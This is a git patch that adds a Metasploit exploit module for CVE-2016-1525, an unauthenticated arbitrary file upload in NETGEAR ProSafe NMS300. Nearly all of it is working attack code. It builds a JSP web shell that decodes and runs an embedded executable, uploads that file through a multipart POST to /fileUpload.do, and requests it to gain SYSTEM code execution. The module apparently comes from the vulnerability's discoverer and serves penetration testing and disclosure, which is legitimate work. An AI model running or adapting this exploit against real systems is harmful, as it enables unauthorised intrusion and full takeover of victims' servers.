From 1f4324f686fc89063b2e442a0b6e727831f53e0c Mon Sep 17 00:00:00 2001
From: Pedro Ribeiro <pedrib@gmail.com>
Date: Thu, 4 Feb 2016 07:54:16 +0800
Subject: [PATCH] Create file for CERT VU 777024

---
 .../exploits/windows/http/netgear_nms_rce.rb  | 146 ++++++++++++++++++
 1 file changed, 146 insertions(+)
 create mode 100644 modules/exploits/windows/http/netgear_nms_rce.rb

diff --git a/modules/exploits/windows/http/netgear_nms_rce.rb b/modules/exploits/windows/http/netgear_nms_rce.rb
new file mode 100644
index 0000000000..e7db7ee64c
--- /dev/null
+++ b/modules/exploits/windows/http/netgear_nms_rce.rb
@@ -0,0 +1,146 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::EXE
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'        => 'NETGEAR ProSafe Network Management System 300 Arbitrary File Upload',
+      'Description' => %q{
+      Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.
+      The application has a file upload vulnerability that can be exploited by an
+      unauthenticated remote attacker to execute code as the SYSTEM user.
+      Two servlets are vulnerable, FileUploadController (located at
+      /lib-1.0/external/flash/fileUpload.do) and FileUpload2Controller (located at /fileUpload.do).
+      This module exploits the latter, and has been tested with versions 1.5.0.2, 1.4.0.17 and
+      1.1.0.13.
+      },
+      'Author' =>
+        [
+          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module
+        ],
+      'License' => MSF_LICENSE,
+      'References' =>
+        [
+          ['CVE', '2016-1525'],
+          ['US-CERT-VU', '777024'],
+          ['URL', 'TODO_GITHUB_URL'],
+          ['URL', 'TODO_FULLDISC_URL']
+        ],
+      'DefaultOptions' => { 'WfsDelay' => 5 },
+      'Platform' => 'win',
+      'Arch' => ARCH_X86,
+      'Privileged' => true,
+      'Targets' =>
+        [
+          [ 'NETGEAR ProSafe Network Management System 300 / Windows', {} ]
+        ],
+      'DefaultTarget' => 0,
+      'DisclosureDate' => 'Feb 4 2016'))
+
+    register_options(
+      [
+        Opt::RPORT(8080),
+        OptString.new('TARGETURI', [true,  "Application path", '/'])
+      ], self.class)
+  end
+
+
+  def check
+    res = send_request_cgi({
+      'uri'    => normalize_uri(datastore['TARGETURI'], 'fileUpload.do'),
+      'method' => 'GET'
+    })
+    if res && res.code == 405
+      return Exploit::CheckCode::Detected
+    else
+      return Exploit::CheckCode::Safe
+    end
+  end
+
+
+  def generate_jsp_payload
+    exe = generate_payload_exe
+    base64_exe = Rex::Text.encode_base64(exe)
+    payload_name = rand_text_alpha(rand(6)+3)
+
+    var_raw     = rand_text_alpha(rand(8) + 3)
+    var_ostream = rand_text_alpha(rand(8) + 3)
+    var_buf     = rand_text_alpha(rand(8) + 3)
+    var_decoder = rand_text_alpha(rand(8) + 3)
+    var_tmp     = rand_text_alpha(rand(8) + 3)
+    var_path    = rand_text_alpha(rand(8) + 3)
+    var_proc2   = rand_text_alpha(rand(8) + 3)
+
+    jsp = %Q|
+    <%@page import="java.io.*"%>
+    <%@page import="sun.misc.BASE64Decoder"%>
+    <%
+    try {
+      String #{var_buf} = "#{base64_exe}";
+      BASE64Decoder #{var_decoder} = new BASE64Decoder();
+      byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
+
+      File #{var_tmp} = File.createTempFile("#{payload_name}", ".exe");
+      String #{var_path} = #{var_tmp}.getAbsolutePath();
+
+      BufferedOutputStream #{var_ostream} =
+        new BufferedOutputStream(new FileOutputStream(#{var_path}));
+      #{var_ostream}.write(#{var_raw});
+      #{var_ostream}.close();
+      Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
+    } catch (Exception e) {
+    }
+    %>
+    |
+
+    jsp = jsp.gsub(/\n/, '')
+    jsp = jsp.gsub(/\t/, '')
+    jsp = jsp.gsub(/\x0d\x0a/, "")
+    jsp = jsp.gsub(/\x0a/, "")
+
+    return jsp
+  end
+
+
+  def exploit
+    jsp_payload = generate_jsp_payload
+
+    jsp_name = Rex::Text.rand_text_alpha(8+rand(8))
+    jsp_full_name = "null" + jsp_name + ".jsp"
+    post_data = Rex::MIME::Message.new
+    post_data.add_part(jsp_name, nil, nil, "form-data; name=\"name\"")
+    post_data.add_part(jsp_payload,
+      "application/octet-stream", 'binary',
+      "form-data; name=\"Filedata\"; filename=\"#{Rex::Text.rand_text_alpha(6+rand(10))}.jsp\"")
+    data = post_data.to_s
+
+    print_status("#{peer} - Uploading payload...")
+    res = send_request_cgi({
+      'uri'    => normalize_uri(datastore['TARGETURI'], 'fileUpload.do'),
+      'method' => 'POST',
+      'data'   => data,
+      'ctype'  => "multipart/form-data; boundary=#{post_data.bound}"
+    })
+    if res && res.code == 200 && res.body.to_s =~ /{"success":true, "file":"#{jsp_name + ".jsp"}"/
+      print_status("#{peer} - Payload uploaded successfully")
+    else
+      fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
+    end
+
+    print_status("#{peer} - Executing payload...")
+    send_request_cgi({
+      'uri'    => normalize_uri(datastore['TARGETURI'], jsp_full_name),
+      'method' => 'GET'
+    })
+    handler
+  end
+end